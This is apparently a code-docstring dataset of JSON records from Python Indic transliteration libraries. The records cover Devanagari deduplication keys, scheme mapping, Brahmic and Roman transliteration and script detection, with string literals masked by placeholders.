{"signature": "def get_approx_deduplicating_key(text, encoding_scheme=sanscript.DEVANAGARI):", "body": "if encoding_scheme == sanscript.DEVANAGARI:<EOL><INDENT>key = text<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>key = regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", key)<EOL>return key<EOL><DEDENT>else:<EOL><INDENT>logging.warning(\"<STR_LIT>\".format(encoding_scheme, text))<EOL>return regex.sub(\"<STR_LIT>\", \"<STR_LIT>\", text)<EOL><DEDENT>", "docstring": "Given some devanAgarI sanskrit text, this function produces a \"key\" so\nthat\n\n1] The key should be the same for different observed orthographical\nforms of the same text. For example:\n\n::\n\n    - \"dharmma\" vs \"dharma\"\n    - \"rAmaM gacChati\" vs \"rAma~N gacChati\" vs \"rAma~N gacChati\"\n    - \"kurvan eva\" vs \"kurvanneva\"\n\n2] The key should be different for different for different texts.\n\n-  \"stamba\" vs \"stambha\"\n\nThis function attempts to succeed at [1] and [2] almostall the time.\nLonger the text, probability of failing at [2] decreases, while\nprobability of failing at [1] increases (albeit very slightly).\n\nSources of orthographically divergent forms:\n\n-  Phonetically sensible grammar rules\n-  Neglect of sandhi while writing\n-  Punctuation, spaces, avagraha-s.\n-  Regional-language-influenced mistakes (La instead of la.)\n\nSome example applications of this function:\n\n-  Create a database of quotes or words with minimal duplication.\n-  Search a database of quotes or words while being robust to optional\n   forms.\n\nAlso see equivalent function in the scala indic-transliteration package.", "id": "f8752:m0"}
{"signature": "def transliterate(data, _from=None, _to=None, scheme_map=None, **kw):", "body": "if scheme_map is None:<EOL><INDENT>from_scheme = SCHEMES[_from]<EOL>to_scheme = SCHEMES[_to]<EOL>scheme_map = sanscript.SchemeMap(from_scheme, to_scheme)<EOL><DEDENT>return sanscript.transliterate(data=data, scheme_map=scheme_map)<EOL>", "docstring": "Transliterate `data` with the given parameters::\n\n      output = transliterate('idam adbhutam', HK, DEVANAGARI)\n\n  Each time the function is called, a new :class:`SchemeMap` is created\n  to map the input scheme to the output scheme. This operation is fast\n  enough for most use cases. But for higher performance, you can pass a\n  pre-computed :class:`SchemeMap` instead::\n\n      scheme_map = SchemeMap(SCHEMES[HK], SCHEMES[DEVANAGARI])\n      output = transliterate('idam adbhutam', scheme_map=scheme_map)\n\n  :param data: the data to transliterate\n  :param _from: the name of a source scheme\n  :param _to: the name of a destination scheme\n  :param scheme_map: the :class:`SchemeMap` to use. If specified, ignore\n                     `_from` and `_to`. If unspecified, create a\n                     :class:`SchemeMap` from `_from` to `_to`.", "id": "f8755:m0"}
{"signature": "def _setup():", "body": "s = str.split<EOL>if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:0>):<EOL><INDENT>s = unicode.split<EOL><DEDENT>def pop_all(some_dict, some_list):<EOL><INDENT>for scheme in some_list:<EOL><INDENT>some_dict.pop(scheme)<EOL><DEDENT><DEDENT>global SCHEMES<EOL>SCHEMES = copy.deepcopy(sanscript.SCHEMES)<EOL>pop_all(SCHEMES, [sanscript.ORIYA, sanscript.BENGALI, sanscript.GUJARATI])<EOL>SCHEMES[HK].update({<EOL>'<STR_LIT>': s(\"\"\"<STR_LIT>\"\"\") + s(\"\"\"<STR_LIT>\"\"\"),<EOL>'<STR_LIT>': s(\"\"\"<STR_LIT>\"\"\") + s(\"\"\"<STR_LIT>\"\"\"),<EOL>'<STR_LIT>': sanscript.SCHEMES[HK]['<STR_LIT>'] + s(\"\"\"<STR_LIT>\"\"\")<EOL>})<EOL>SCHEMES[ITRANS].update({<EOL>'<STR_LIT>': s(\"\"\"<STR_LIT>\"\"\") + s(\"\"\"<STR_LIT>\"\"\"),<EOL>'<STR_LIT>': s(\"\"\"<STR_LIT>\"\"\") + s(\"\"\"<STR_LIT>\"\"\"),<EOL>'<STR_LIT>': sanscript.SCHEMES[ITRANS]['<STR_LIT>'] + s(\"\"\"<STR_LIT>\"\"\")<EOL>})<EOL>pop_all(SCHEMES[ITRANS].synonym_map, s(\"\"\"<STR_LIT>\"\"\"))<EOL>SCHEMES[OPTITRANS].update({<EOL>'<STR_LIT>': s(\"\"\"<STR_LIT>\"\"\") + s(\"\"\"<STR_LIT>\"\"\"),<EOL>'<STR_LIT>': s(\"\"\"<STR_LIT>\"\"\") + s(\"\"\"<STR_LIT>\"\"\"),<EOL>'<STR_LIT>': sanscript.SCHEMES[OPTITRANS]['<STR_LIT>'] + s(\"\"\"<STR_LIT>\"\"\")<EOL>})<EOL>pop_all(SCHEMES[OPTITRANS].synonym_map, s(\"\"\"<STR_LIT>\"\"\"))<EOL>", "docstring": "Add a variety of default schemes.", "id": "f8755:m1"}
{"signature": "def detect(text):", "body": "if sys.version_info < (<NUM_LIT:3>, <NUM_LIT:0>):<EOL><INDENT>try:<EOL><INDENT>text = text.decode('<STR_LIT:utf-8>')<EOL><DEDENT>except UnicodeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>for L in text:<EOL><INDENT>code = ord(L)<EOL>if code >= BRAHMIC_FIRST_CODE_POINT:<EOL><INDENT>for name, start_code in BLOCKS:<EOL><INDENT>if start_code <= code <= BRAHMIC_LAST_CODE_POINT:<EOL><INDENT>return name<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if Regex.IAST_OR_KOLKATA_ONLY.search(text):<EOL><INDENT>if Regex.KOLKATA_ONLY.search(text):<EOL><INDENT>return Scheme.Kolkata<EOL><DEDENT>else:<EOL><INDENT>return Scheme.IAST<EOL><DEDENT><DEDENT>if Regex.ITRANS_ONLY.search(text):<EOL><INDENT>return Scheme.ITRANS<EOL><DEDENT>if Regex.SLP1_ONLY.search(text):<EOL><INDENT>return Scheme.SLP1<EOL><DEDENT>if Regex.VELTHUIS_ONLY.search(text):<EOL><INDENT>return Scheme.Velthuis<EOL><DEDENT>if Regex.ITRANS_OR_VELTHUIS_ONLY.search(text):<EOL><INDENT>return Scheme.ITRANS<EOL><DEDENT>return Scheme.HK<EOL>", "docstring": "Detect the input's transliteration scheme.\n\n      :param text: some text data, either a `unicode` or a `str` encoded\n                   in UTF-8.", "id": "f8756:m0"}
{"signature": "def _brahmic(data, scheme_map, **kw):", "body": "if scheme_map.from_scheme.name == northern.GURMUKHI:<EOL><INDENT>data = northern.GurmukhiScheme.replace_tippi(text=data) <EOL><DEDENT>marks = scheme_map.marks<EOL>virama = scheme_map.virama<EOL>consonants = scheme_map.consonants<EOL>non_marks_viraama = scheme_map.non_marks_viraama<EOL>to_roman = scheme_map.to_scheme.is_roman<EOL>max_key_length_from_scheme = scheme_map.max_key_length_from_scheme<EOL>buf = []<EOL>i = <NUM_LIT:0><EOL>to_roman_had_consonant = found = False<EOL>append = buf.append<EOL>while i <= len(data):<EOL><INDENT>token = data[i:i + max_key_length_from_scheme]<EOL>while token:<EOL><INDENT>if len(token) == <NUM_LIT:1>:<EOL><INDENT>if token in marks:<EOL><INDENT>append(marks[token])<EOL>found = True<EOL><DEDENT>elif token in virama:<EOL><INDENT>append(virama[token])<EOL>found = True<EOL><DEDENT>else:<EOL><INDENT>if to_roman_had_consonant:<EOL><INDENT>append('<STR_LIT:a>')<EOL><DEDENT>append(non_marks_viraama.get(token, token))<EOL>found = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if token in non_marks_viraama:<EOL><INDENT>if to_roman_had_consonant:<EOL><INDENT>append('<STR_LIT:a>')<EOL><DEDENT>append(non_marks_viraama.get(token))<EOL>found = True<EOL><DEDENT><DEDENT>if found:<EOL><INDENT>to_roman_had_consonant = to_roman and token in consonants<EOL>i += len(token)<EOL>break        <EOL><DEDENT>else:<EOL><INDENT>token = token[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>if to_roman_had_consonant:<EOL><INDENT>append(next(iter(virama.values())))<EOL><DEDENT>if i < len(data):<EOL><INDENT>append(data[i])<EOL>to_roman_had_consonant = False<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>found = False<EOL><DEDENT>if to_roman_had_consonant:<EOL><INDENT>append('<STR_LIT:a>')<EOL><DEDENT>return '<STR_LIT>'.join(buf)<EOL>", "docstring": "Transliterate `data` with the given `scheme_map`. This function is used\n    when the source scheme is a Brahmic scheme.\n\n    :param data: the data to transliterate\n    :param scheme_map: a dict that maps between characters in the old scheme\n                       and characters in the new scheme", "id": "f8757:m0"}
{"signature": "def _roman(data, scheme_map, **kw):", "body": "vowels = scheme_map.vowels<EOL>marks = scheme_map.marks<EOL>virama = scheme_map.virama<EOL>consonants = scheme_map.consonants<EOL>non_marks_viraama = scheme_map.non_marks_viraama<EOL>max_key_length_from_scheme = scheme_map.max_key_length_from_scheme<EOL>to_roman = scheme_map.to_scheme.is_roman<EOL>togglers = kw.pop('<STR_LIT>', set())<EOL>suspend_on = kw.pop('<STR_LIT>', set())<EOL>suspend_off = kw.pop('<STR_LIT>', set())<EOL>if kw:<EOL><INDENT>raise TypeError('<STR_LIT>' % list(kw.keys())[<NUM_LIT:0>])<EOL><DEDENT>buf = []<EOL>i = <NUM_LIT:0><EOL>had_consonant = found = False<EOL>len_data = len(data)<EOL>append = buf.append<EOL>toggled = False<EOL>suspended = False<EOL>while i <= len_data:<EOL><INDENT>token = data[i:i + max_key_length_from_scheme]<EOL>while token:<EOL><INDENT>if token in togglers:<EOL><INDENT>toggled = not toggled<EOL>i += <NUM_LIT:2>  <EOL>found = True  <EOL>break<EOL><DEDENT>if token in suspend_on:<EOL><INDENT>suspended = True<EOL><DEDENT>elif token in suspend_off:<EOL><INDENT>suspended = False<EOL><DEDENT>if toggled or suspended:<EOL><INDENT>token = token[:-<NUM_LIT:1>]<EOL>continue<EOL><DEDENT>if had_consonant and token in vowels:<EOL><INDENT>mark = marks.get(token, '<STR_LIT>')<EOL>if mark:<EOL><INDENT>append(mark)<EOL><DEDENT>elif to_roman:<EOL><INDENT>append(vowels[token])<EOL><DEDENT>found = True<EOL><DEDENT>elif token in non_marks_viraama:<EOL><INDENT>if had_consonant:<EOL><INDENT>append(virama['<STR_LIT>'])<EOL><DEDENT>append(non_marks_viraama[token])<EOL>found = True<EOL><DEDENT>if found:<EOL><INDENT>had_consonant = token in consonants<EOL>i += len(token)<EOL>break<EOL><DEDENT>else:<EOL><INDENT>token = token[:-<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>if had_consonant:<EOL><INDENT>append(virama['<STR_LIT>'])<EOL><DEDENT>if i < len_data:<EOL><INDENT>append(data[i])<EOL>had_consonant = False<EOL><DEDENT>i += <NUM_LIT:1><EOL><DEDENT>found = False<EOL><DEDENT>return '<STR_LIT>'.join(buf)<EOL>", "docstring": "Transliterate `data` with the given `scheme_map`. This function is used\n    when the source scheme is a Roman scheme.\n\n    :param data: the data to transliterate\n    :param scheme_map: a dict that maps between characters in the old scheme\n                       and characters in the new scheme", "id": "f8758:m0"}
{"signature": "def get_standard_form(self, data):", "body": "if self.synonym_map is None:<EOL><INDENT>return data<EOL><DEDENT>from indic_transliteration import sanscript<EOL>return sanscript.transliterate(data=sanscript.transliterate(_from=self.name, _to=sanscript.DEVANAGARI, data=data), _from=sanscript.DEVANAGARI, _to=self.name)<EOL>", "docstring": "Roman schemes define multiple representations of the same devanAgarI character. This method gets a library-standard representation.\n\n        data : a text in the given scheme.", "id": "f8759:c0:m1"}
{"signature": "def from_devanagari(self, data):", "body": "from indic_transliteration import sanscript<EOL>return sanscript.transliterate(data=data, _from=sanscript.DEVANAGARI, _to=self.name)<EOL>", "docstring": "A convenience method", "id": "f8760:c0:m2"}
{"signature": "@lru_cache(maxsize=<NUM_LIT:8>)<EOL>def _get_scheme_map(input_encoding, output_encoding):", "body": "return SchemeMap(SCHEMES[input_encoding], SCHEMES[output_encoding])<EOL>", "docstring": "Provides a caching layer on top of `SchemeMap` objects to allow faster\n    access to scheme maps we've instantiated once.\n\n    :param input_encoding: Input encoding. Must be defined in `SCHEMES`.\n    :param output_encoding: Input encoding. Must be defined in `SCHEMES`.", "id": "f8765:m0"}
{"signature": "def transliterate(data, _from=None, _to=None, scheme_map=None, **kw):", "body": "if scheme_map is None:<EOL><INDENT>scheme_map = _get_scheme_map(_from, _to)<EOL><DEDENT>options = {<EOL>'<STR_LIT>': {'<STR_LIT>'},<EOL>'<STR_LIT>': set('<STR_LIT:<>'),<EOL>'<STR_LIT>': set('<STR_LIT:>>')<EOL>}<EOL>options.update(kw)<EOL>from indic_transliteration.sanscript.brahmic_mapper import _brahmic<EOL>from indic_transliteration.sanscript.roman_mapper import _roman<EOL>func = _roman if scheme_map.from_scheme.is_roman else _brahmic<EOL>return func(data, scheme_map, **options)<EOL>", "docstring": "Transliterate `data` with the given parameters::\n\n        output = transliterate('idam adbhutam', HK, DEVANAGARI)\n\n    Each time the function is called, a new :class:`SchemeMap` is created\n    to map the input scheme to the output scheme. This operation is fast\n    enough for most use cases. But for higher performance, you can pass a\n    pre-computed :class:`SchemeMap` instead::\n\n        scheme_map = SchemeMap(SCHEMES[HK], SCHEMES[DEVANAGARI])\n        output = transliterate('idam adbhutam', scheme_map=scheme_map)\n\n    :param data: the data to transliterate\n    :param scheme_map: the :class:`SchemeMap` to use. If specified, ignore\n                       `_from` and `_to`. If unspecified, create a\n                       :class:`SchemeMap` from `_from` to `_to`.", "id": "f8765:m1"}
{"signature": "def __init__(self, from_scheme, to_scheme):", "body": "self.marks = {}<EOL>self.virama = {}<EOL>self.vowels = {}<EOL>self.consonants = {}<EOL>self.non_marks_viraama = {}<EOL>self.from_scheme = from_scheme<EOL>self.to_scheme = to_scheme<EOL>self.max_key_length_from_scheme = max(len(x) for g in from_scheme<EOL>for x in from_scheme[g])<EOL>for group in from_scheme.keys():<EOL><INDENT>if group not in to_scheme.keys():<EOL><INDENT>continue<EOL><DEDENT>conjunct_map = {}<EOL>for (k, v) in zip(from_scheme[group], to_scheme[group]):<EOL><INDENT>conjunct_map[k] = v<EOL>if k in from_scheme.synonym_map:<EOL><INDENT>for k_syn in from_scheme.synonym_map[k]:<EOL><INDENT>conjunct_map[k_syn] = v<EOL><DEDENT><DEDENT><DEDENT>if group.endswith('<STR_LIT>'):<EOL><INDENT>self.marks.update(conjunct_map)<EOL><DEDENT>elif group == '<STR_LIT>':<EOL><INDENT>self.virama = conjunct_map<EOL><DEDENT>else:<EOL><INDENT>self.non_marks_viraama.update(conjunct_map)<EOL>if group.endswith('<STR_LIT>'):<EOL><INDENT>self.consonants.update(conjunct_map)<EOL><DEDENT>elif group.endswith('<STR_LIT>'):<EOL><INDENT>self.vowels.update(conjunct_map)<EOL><DEDENT><DEDENT><DEDENT>if from_scheme.name == OPTITRANS:<EOL><INDENT>if len(to_scheme['<STR_LIT>']) == <NUM_LIT:0>:<EOL><INDENT>to_scheme_virama = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>to_scheme_virama = to_scheme['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>conjunct_map = {<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama + self.consonants[\"<STR_LIT:k>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama + self.consonants[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama +self.consonants[\"<STR_LIT:g>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama +self.consonants[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama +self.consonants[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama +self.consonants[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama +self.consonants[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": self.consonants[\"<STR_LIT>\"] + to_scheme_virama +self.consonants[\"<STR_LIT>\"],<EOL>}<EOL>self.consonants.update(conjunct_map)<EOL>self.non_marks_viraama.update(conjunct_map)<EOL>synonym_conjunct_map = {}<EOL>for key in conjunct_map.keys():<EOL><INDENT>latter_consonant = key[<NUM_LIT:1>:]<EOL>if latter_consonant in from_scheme.synonym_map:<EOL><INDENT>for k_syn in from_scheme.synonym_map[latter_consonant]:<EOL><INDENT>synonym_conjunct_map[\"<STR_LIT:n>\" + k_syn] = conjunct_map[key]<EOL><DEDENT><DEDENT><DEDENT>self.consonants.update(synonym_conjunct_map)<EOL>self.non_marks_viraama.update(synonym_conjunct_map)<EOL><DEDENT>if to_scheme.name == OPTITRANS:<EOL><INDENT>inv_map = {v: k for k, v in self.consonants.items()}<EOL>if len(from_scheme['<STR_LIT>']) == <NUM_LIT:0>:<EOL><INDENT>from_scheme_virama = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>from_scheme_virama = from_scheme['<STR_LIT>'][<NUM_LIT:0>]<EOL><DEDENT>conjunct_map = {<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT:k>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT:g>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT>\"]: \"<STR_LIT>\",<EOL>inv_map[\"<STR_LIT>\"] + from_scheme_virama + inv_map[\"<STR_LIT>\"]: \"<STR_LIT>\",<EOL>}<EOL>self.consonants.update(conjunct_map)<EOL>self.non_marks_viraama.update(conjunct_map)<EOL><DEDENT>", "docstring": "Create a mapping from `from_scheme` to `to_scheme`.", "id": "f8765:c0:m0"}
{"signature": "def to_utf8(y):", "body": "out = []<EOL>for x in y:<EOL><INDENT>if x < <NUM_LIT>:<EOL><INDENT>out.append(x)<EOL><DEDENT>elif x < <NUM_LIT>:<EOL><INDENT>out.append((x >> <NUM_LIT:6>) | <NUM_LIT>)<EOL>out.append((x & <NUM_LIT>) | <NUM_LIT>)<EOL><DEDENT>elif x < <NUM_LIT>:<EOL><INDENT>out.append((x >> <NUM_LIT:12>) | <NUM_LIT>)<EOL>out.append(((x >> <NUM_LIT:6>) & <NUM_LIT>) | <NUM_LIT>)<EOL>out.append((x & <NUM_LIT>) | <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>out.append((x >> <NUM_LIT>) | <NUM_LIT>)<EOL>out.append((x >> <NUM_LIT:12>) & <NUM_LIT>)<EOL>out.append(((x >> <NUM_LIT:6>) & <NUM_LIT>) | <NUM_LIT>)<EOL>out.append((x & <NUM_LIT>) | <NUM_LIT>)<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(map(chr, out))<EOL>", "docstring": "converts an array of integers to utf8 string", "id": "f8766:m2"}
{"signature": "def set_script(self, i):", "body": "if i in range(<NUM_LIT:1>, <NUM_LIT:10>):<EOL><INDENT>n = i - <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise IllegalInput(\"<STR_LIT>\" % (hex(i)))<EOL><DEDENT>if n > -<NUM_LIT:1>: <EOL><INDENT>self.curr_script = n<EOL>self.delta = n * DELTA<EOL><DEDENT>return<EOL>", "docstring": "set the value of delta to reflect the current codepage", "id": "f8766:c1:m2"}
{"signature": "def resetOptions():", "body": "global options<EOL>defaultOptions = {<EOL>'<STR_LIT>' : '<STR_LIT:utf-8>',  <EOL>'<STR_LIT>' : '<STR_LIT:utf-8>', <EOL>'<STR_LIT>' : '<STR_LIT:?>', <EOL>'<STR_LIT>' : UNRECOGNISED_ECHO,   <EOL>'<STR_LIT>' : False,   <EOL>}<EOL>options = defaultOptions.copy()<EOL>", "docstring": "Reset options to their default values.", "id": "f8767:m0"}
{"signature": "def _unrecognised(chr):", "body": "if options['<STR_LIT>'] == UNRECOGNISED_ECHO:<EOL><INDENT>return chr<EOL><DEDENT>elif options['<STR_LIT>'] == UNRECOGNISED_SUBSTITUTE:<EOL><INDENT>return options['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>raise (KeyError, chr)<EOL><DEDENT>", "docstring": "Handle unrecognised characters.", "id": "f8767:m1"}
{"signature": "def transliterate(text, inFormat, outFormat, requestOptions={}):", "body": "def asciiEncode(chr):<EOL><INDENT>value = ord(chr)<EOL>if value > <NUM_LIT:255>:<EOL><INDENT>return '<STR_LIT>' % (value)<EOL><DEDENT>return chr<EOL><DEDENT>try:<EOL><INDENT>options.update(requestOptions)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>basestring = (str, bytes)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>def findFormat(fmt):<EOL><INDENT>if isinstance(fmt, basestring):<EOL><INDENT>try:<EOL><INDENT>fmt = _names[fmt.upper()]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise (ValueError, '<STR_LIT>' + fmt)<EOL><DEDENT><DEDENT>return fmt<EOL><DEDENT>inFormat = findFormat(inFormat)<EOL>outFormat = findFormat(outFormat)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>if not isinstance(text, basestring): <EOL><INDENT>raise (TypeError, \"<STR_LIT>\")<EOL><DEDENT>def getBlock(format):<EOL><INDENT>if isinstance(format, CharacterBlock):<EOL><INDENT>return format<EOL><DEDENT>else:<EOL><INDENT>return format.block<EOL><DEDENT><DEDENT>inBlock = getBlock(inFormat)<EOL>outBlock = getBlock(outFormat)<EOL>if not inBlock is outBlock:<EOL><INDENT>raise (ValueError, \"<STR_LIT>\")<EOL><DEDENT>if inFormat is outFormat:<EOL><INDENT>if inFormat._longestEntry == <NUM_LIT:1>:<EOL><INDENT>[inFormat[c] for c in set(text) if not c.isspace()] <EOL>return text<EOL><DEDENT><DEDENT>\"\"\"<STR_LIT>\"\"\"<EOL>result = inFormat._transliterate(text, outFormat)<EOL>if options['<STR_LIT>']:<EOL><INDENT>result = [asciiEncode(c) for c in result]<EOL><DEDENT>return u'<STR_LIT>'.join(result).encode(options['<STR_LIT>'])<EOL><DEDENT>finally:<EOL><INDENT>resetOptions()<EOL><DEDENT>", "docstring": "Transliterate a text.\n\n    Keyword arguments:\n    text -- a unicode string containing the text to be transliterated\n    inFormat -- the \"from\" CharacterBlock or TransliterationScheme, or its name\n    outFormat -- the target CharacterBlock or TransliterationScheme, or its name\n    requestOptions -- optional dict containing option settings that override the\n                      defaults for this request.\n\n    Returns a unicode object containing the text transliterated into the\n    target character set.\n\n    Raises:\n    ValueError -- unrecognised input or output format.\n    KeyError -- a character in text is not a member of inFormat, or has no\n    corresponding character defined in outFormat.", "id": "f8767:m2"}
{"signature": "def main(argv=None):", "body": "print (transliterate('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>try:    <EOL><INDENT>text, inFormat, outFormat = argv[<NUM_LIT:1>:<NUM_LIT:4>]<EOL><DEDENT>except ValueError:<EOL><INDENT>print (main.__doc__)<EOL>return <NUM_LIT:2><EOL><DEDENT>inFormat = inFormat.upper()<EOL>outFormat = outFormat.upper()<EOL>try:<EOL><INDENT>f = open(text)<EOL><DEDENT>except IOError:<EOL><INDENT>print (transliterate(text, inFormat, outFormat))<EOL>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>i = <NUM_LIT:1><EOL>for text in f.readlines():<EOL><INDENT>if len(text) > <NUM_LIT:0> and not text.startswith('<STR_LIT:#>'):<EOL><INDENT>print (transliterate(text, inFormat, outFormat).strip('<STR_LIT:\\n>'))<EOL><DEDENT>i = i + <NUM_LIT:1><EOL><DEDENT>f.close()<EOL>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Call transliterator from a command line.\n\n    python transliterator.py text inputFormat outputFormat\n\n    ... writes the transliterated text to stdout\n\n    text -- the text to be transliterated OR the name of a file containing the text\n    inputFormat -- the name of the character block or transliteration scheme that\n                   the text is to be transliterated FROM, e.g. 'CYRILLIC', 'IAST'.\n                   Not case-sensitive\n    outputFormat -- the name of the character block or transliteration scheme that\n                   the text is to be transliterated TO, e.g. 'CYRILLIC', 'IAST'.\n                   Not case-sensitive", "id": "f8767:m3"}
{"signature": "def __init__(self, unicodeHexValue, block):", "body": "if unicodeHexValue < <NUM_LIT:0> or unicodeHexValue > <NUM_LIT>:<EOL><INDENT>raise (ValueError, \"<STR_LIT>\")<EOL><DEDENT>self.unicodeHexValue = unicodeHexValue<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>self.chr = chr(self.unicodeHexValue)<EOL>self.name = unicodedata.name(self.chr)<EOL>self.equivalents = {}<EOL>self._block = block<EOL>", "docstring": "Set up a unicode character.\n\n        Arguments:\n        unicodeHexValue -- an integer that should correspond to a \n                           Unicode code point.\n        block -- the CharacterBlock this character belongs to.\n\n        Raises:\n        ValueError -- if unicodeHexValue is not a valid code point.", "id": "f8767:c0:m0"}
{"signature": "def addEquivalent(self, equivName, equivalent):", "body": "self.equivalents[equivName] = equivalent<EOL>", "docstring": "Add an equivalent for the character.\n\n        Arguments:\n        equivName -- the name of a TransliterationScheme\n        equivalent -- string/unicode equivalent in the named\n                      TransliterationScheme for this code point.", "id": "f8767:c0:m1"}
{"signature": "def __init__(self, name, charRange, charClass=TLCharacter):", "body": "\"\"\"<STR_LIT>\"\"\"<EOL>charRange.sort()<EOL>for c in charRange:<EOL><INDENT>try:<EOL><INDENT>tlchar = charClass(c, self)<EOL>self[tlchar.chr] = tlchar<EOL><DEDENT>except ValueError: <EOL><INDENT>pass<EOL><DEDENT><DEDENT>self._longestEntry = <NUM_LIT:1><EOL>self.name = name<EOL>self.transliterationSchemes = {}<EOL>self._register()<EOL>", "docstring": "Set up a character block corresponding to a range of code points.\n\n        Keyword arguments:\n        name -- a string containing the name of the character block.\n                (should normally use a standard Unicode character block name)\n        range -- a list of code points. Reserved code points are ignored.\n        charClass -- the class to be used to create the characters.\n                     Should be a subclass of TLCharacter.", "id": "f8767:c1:m0"}
{"signature": "def _transliterate (self, text, outFormat):", "body": "result = []<EOL>for c in text:<EOL><INDENT>if c.isspace(): result.append(c)<EOL>try: <EOL><INDENT>result.append(self[c].equivalents[outFormat.name])<EOL><DEDENT>except KeyError:<EOL><INDENT>result.append(_unrecognised(c))<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Transliterate the text to the target transliteration scheme.", "id": "f8767:c1:m2"}
{"signature": "def _preprocess(self, text):", "body": "return text<EOL>", "docstring": "Make our signature compatible with TransliterationScheme.", "id": "f8767:c1:m3"}
{"signature": "def __init__(self, blockName, schemeName, data, swapTable=None):", "body": "self.block = characterBlocks[blockName]<EOL>self.name = schemeName<EOL>for equiv, unicodeHexValue in data.items():<EOL><INDENT>self[equiv] = self.block[chr(unicodeHexValue)]<EOL>self[equiv].addEquivalent(self.name, equiv)<EOL><DEDENT>self._longestEntry = max([len(e) for e in data.keys()])<EOL>if self._longestEntry > <NUM_LIT:1>:<EOL><INDENT>self._parseTree = {}<EOL>self._parsedata = list(data.keys())<EOL>self._parsedata.sort()<EOL>self._setupParseTree(<NUM_LIT:0>, len(data) - <NUM_LIT:1>, <NUM_LIT:0>, self._parseTree)<EOL><DEDENT>if swapTable is not None:<EOL><INDENT>if not isinstance(swapTable, dict): raise (TypeError)<EOL><DEDENT>self.swapTable = swapTable<EOL>self._register()<EOL>", "docstring": "Set up a transliteration scheme.\n\n        Keyword arguments:\n        blockName -- a string containg the name of the character block this \n                     transliteration scheme is used for, \n                     e.g. 'CYRILLIC', 'DEVANAGARI'.\n        schemeName -- the name of the transliteration scheme. \n                      Must be unique.\n        data -- a dict containing the data for the transliteration scheme. \n                Keys are transliterated Unicode characters or strings.\n                Values are integers corresponding to Unicode code points.\n                For examples, see the data for the built-in transliteration\n                schemes.\n        swapTable -- a dict (default None) containing any non-standard\n                     letter combinations used in the transliteration scheme\n                     that we want to pre-process away before transliterating.\n                     See the ITRANS data for examples.\n\n        Raises:\n        KeyError: unknown 